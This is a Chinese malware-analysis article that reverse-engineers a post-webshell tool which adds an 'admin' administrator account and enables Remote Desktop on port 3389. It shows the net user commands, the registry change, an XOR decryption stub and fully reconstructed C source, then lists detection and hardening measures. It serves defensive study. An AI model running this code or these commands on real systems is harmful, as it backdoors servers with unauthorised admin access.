取证分析之逆向服务器提权开启3389远程连接工具
字数 1379 2025-08-19 12:40:43

逆向分析:服务器提权开启3389远程连接工具

1. 程序基本信息

  • MD5值: 58946C2FE49563591EBE0D61F457DE0A
  • 文件大小: 178 KB (182,526 字节)
  • 病毒家族名: Virus.Win32.Parite.a
  • 用途: 黑客攻击网站获取Webshell后提升服务器权限,用于站点和数据库服务器分离情况下延伸权限到数据库服务器并开启3389远程连接

2. 主要行为分析

2.1 注册表修改行为

修改以下注册表键值以开启3389端口:

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Terminal Server\fDenyTSConnections

修改内容:

  • type: 0x00000004 (REG_DWORD)
  • datalen: 4
  • data: 00 00 00 00 (将值设为0表示允许远程连接)

2.2 用户创建行为

执行以下命令创建管理员用户:

  1. net user admin admin123 /add - 创建用户admin,密码admin123
  2. net localgroup administrators admin /add - 将admin用户加入管理员组

3. 逆向分析过程

3.1 初步信息收集

关键API函数分析

  • RegCreateKeyEx: 创建/打开注册表键
  • RegSetValueEx: 设置注册表值的数据和类型
  • RegCloseKey: 关闭注册表句柄
  • LoadLibraryA: 加载DLL模块
  • GetProcAddress: 获取DLL导出函数地址
  • WaitForSingleObject: 等待对象信号
  • CreateProcess: 创建新进程

3.2 反汇编分析

代码解密过程
程序使用XOR循环解密后续汇编代码:

00404000 68 7C3D4700       push 0x473D7C
00404005 58                pop eax
00404006 68 18404000       push 3389.00404018
0040400B 5A                pop edx
0040400C 68 C4060000       push 0x6C4
00404011 5E                pop esi
00404012 310432            xor dword ptr ds:[edx+esi],eax  ; XOR解密后续代码
00404015 83EE 04           sub esi,0x4
00404018 75 F8             jnz short 3389.00404012
0040401A 90                nop
0040401B 90                nop
0040401C E8 7D010000       call 3389.0040419E              ; 解密后的代码

主要功能函数分析 (地址00401026):

  1. 创建用户:

    • 调用CreateProcess执行net user admin admin123 /add
    • 调用CreateProcess执行net localgroup administrators admin /add
  2. 修改注册表:

    • 修改SYSTEM\CurrentControlSet\Control\Terminal Server\fDenyTSConnections值为0

3.3 还原的C代码

#include <stdio.h>
#include <windows.h>

BOOL excute(LPSTR lpCommandLine) {
    PROCESS_INFORMATION ProcessInfo;
    STARTUPINFO StartupInfo;
    HANDLE hStdInput, hStdOutput;
    SECURITY_ATTRIBUTES SecAttr;
    
    SecAttr.nLength = sizeof(SECURITY_ATTRIBUTES);
    SecAttr.bInheritHandle = TRUE;
    SecAttr.lpSecurityDescriptor = NULL;
    
    BOOL ret = CreatePipe(&hStdInput, &hStdOutput, &SecAttr, 0);
    ZeroMemory(&StartupInfo, sizeof(StartupInfo));
    StartupInfo.cb = sizeof(StartupInfo);
    StartupInfo.hStdOutput = hStdOutput;
    StartupInfo.hStdError = 0;
    StartupInfo.wShowWindow = SW_HIDE;
    StartupInfo.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
    
    BOOL bret = CreateProcessA(0, lpCommandLine, 0, 0, 
                              NORMAL_PRIORITY_CLASS, 0, 0, 0, 
                              &StartupInfo, &ProcessInfo);
    
    if(bret) {
        WaitForSingleObject(ProcessInfo.hProcess,INFINITE);
        CloseHandle(ProcessInfo.hThread);
        CloseHandle(ProcessInfo.hProcess);
    }
    return bret;
}

BOOL reg_set(HKEY hKey, LPSTR lpSubKey, LPSTR lpValueName) {
    HKEY phkResult = NULL;
    DWORD dwValue = 0;
    
    RegCreateKeyEx(hKey, lpSubKey, 0, NULL, 
                  REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, 
                  NULL, &hKey, NULL);
    RegSetValueEx(hKey, lpValueName, 0, REG_DWORD, 
                 (CONST BYTE*)&dwValue, sizeof(DWORD));
    RegCloseKey(hKey);
    return true;
}

int main() {
    excute("net user admin admin@123 /add");
    excute("net localgroup administrators admin /add");
    reg_set(HKEY_LOCAL_MACHINE,
           "SYSTEM\\CurrentControlSet\\Control\\Terminal Server",
           "fDenyTSConnections");
    return 0;
}

4. 防御措施

  1. 特征码扫描:

    • 监控程序MD5: 58946C2FE49563591EBE0D61F457DE0A
    • 监控特定字符串特征: "fDenyTSConnections"、"net user admin"等
  2. 行为监控:

    • 监控netnet1命令的执行
    • 监控注册表键HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Terminal Server\fDenyTSConnections的修改
  3. 系统加固:

    • 限制非管理员用户执行系统命令
    • 监控3389端口的开启行为
    • 设置账户创建和权限变更的审计策略
  4. 入侵检测:

    • 部署IDS/IPS系统检测此类提权行为
    • 记录和分析系统日志中的可疑活动

5. 总结

该工具通过以下步骤实现服务器提权:

  1. 创建管理员账户
  2. 修改注册表开启3389远程桌面服务
  3. 使用XOR加密技术隐藏核心代码

防御此类攻击需要结合特征检测和行为监控,特别关注系统账户和远程桌面服务的变更。

逆向分析:服务器提权开启3389远程连接工具 1. 程序基本信息 MD5值 : 58946C2FE49563591EBE0D61F457DE0A 文件大小 : 178 KB (182,526 字节) 病毒家族名 : Virus.Win32.Parite.a 用途 : 黑客攻击网站获取Webshell后提升服务器权限,用于站点和数据库服务器分离情况下延伸权限到数据库服务器并开启3389远程连接 2. 主要行为分析 2.1 注册表修改行为 修改以下注册表键值以开启3389端口: 修改内容: type: 0x00000004 (REG_ DWORD) datalen: 4 data: 00 00 00 00 (将值设为0表示允许远程连接) 2.2 用户创建行为 执行以下命令创建管理员用户: net user admin admin123 /add - 创建用户admin,密码admin123 net localgroup administrators admin /add - 将admin用户加入管理员组 3. 逆向分析过程 3.1 初步信息收集 关键API函数分析 : RegCreateKeyEx : 创建/打开注册表键 RegSetValueEx : 设置注册表值的数据和类型 RegCloseKey : 关闭注册表句柄 LoadLibraryA : 加载DLL模块 GetProcAddress : 获取DLL导出函数地址 WaitForSingleObject : 等待对象信号 CreateProcess : 创建新进程 3.2 反汇编分析 代码解密过程 : 程序使用XOR循环解密后续汇编代码: 主要功能函数分析 (地址00401026): 创建用户: 调用 CreateProcess 执行 net user admin admin123 /add 调用 CreateProcess 执行 net localgroup administrators admin /add 修改注册表: 修改 SYSTEM\CurrentControlSet\Control\Terminal Server\fDenyTSConnections 值为0 3.3 还原的C代码 4. 防御措施 特征码扫描 : 监控程序MD5: 58946C2FE49563591EBE0D61F457DE0A 监控特定字符串特征: "fDenyTSConnections"、"net user admin"等 行为监控 : 监控 net 和 net1 命令的执行 监控注册表键 HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Terminal Server\fDenyTSConnections 的修改 系统加固 : 限制非管理员用户执行系统命令 监控3389端口的开启行为 设置账户创建和权限变更的审计策略 入侵检测 : 部署IDS/IPS系统检测此类提权行为 记录和分析系统日志中的可疑活动 5. 总结 该工具通过以下步骤实现服务器提权: 创建管理员账户 修改注册表开启3389远程桌面服务 使用XOR加密技术隐藏核心代码 防御此类攻击需要结合特征检测和行为监控,特别关注系统账户和远程桌面服务的变更。